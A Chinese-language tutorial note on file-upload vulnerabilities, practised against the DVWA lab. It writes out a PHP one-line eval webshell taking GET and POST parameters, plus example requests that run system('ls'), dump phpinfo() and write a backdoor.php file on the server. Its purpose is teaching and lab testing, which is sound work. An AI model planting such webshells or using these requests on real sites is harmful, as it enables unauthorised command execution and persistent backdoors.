一、文件上传漏洞
- 对某个允许上传图片或文件的网站,比如博客上传一段webshell.php 并成功执行则说明该网站存在文件上传漏洞
上传成功后需要知道文件上传后的访问路径是什么才能成功执行上传的文件
举例:
(1) 测试文件上传漏洞尽量不要用有危害的webshell来测试只需要能验证漏洞存在即可
vim webshell.php
<?php echo "Test file uploaded successfully"; ?> 这个内容是安全的不会对系统造成破坏
<?php echo shell_exec("ls"); ?> 如果想看目录结构可以这样,看完在上传其他无害内容把webshell覆盖(2) 黑客会利用webshell上传一句话木马进行破坏
vim webshell.php
<?php @eval($_GET[ 'pass' ]);?>
该代码是一句简单的php木马,会把用户的get请求传参传递给eval()函数并执行,@表示隐藏报错信息
http://example.com/webshell.php?pass=phpinfo(); 会返回phpinfo()内容,注意分号
http://example.com/webshell.php?pass=system('ls'); 会返回当前系统目录结构
http://example.com/webshell.php?pass=file_put_contents('backdoor.php', '<?php echo "hacked"; ?>'); 会创建backdoor.php文件内容是 <?php echo "hacked"; ?>vim webshell.php
<?php @eval($_POST['pass']); ?>
改代码会以post请求传参的方式把参数传递给eval()函数,@表示隐藏报错信息不易被发现
POST /shell.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
pass=phpinfo(); # 返回phpinfo()内容POST /shell.php HTTP/1.1
pass=system('ls'); # 列出服务器目录POST /shell.php HTTP/1.1
pass=file_put_contents('backdoor.php', '<?php echo "hacked"; ?>'); # 在服务器创建文件
1、在DVWA页面上传一个webshell
(1) 编辑webshell
vim webshell.php
<?php echo "Test file uploaded successfully"; ?>
(2) 点击DVWA fileupload页面上传
(3) 访问上传的webshell.php
http://192.168.1.107/DVWA/vulnerabilities/upload/…/…/hackable/uploads/webshell.php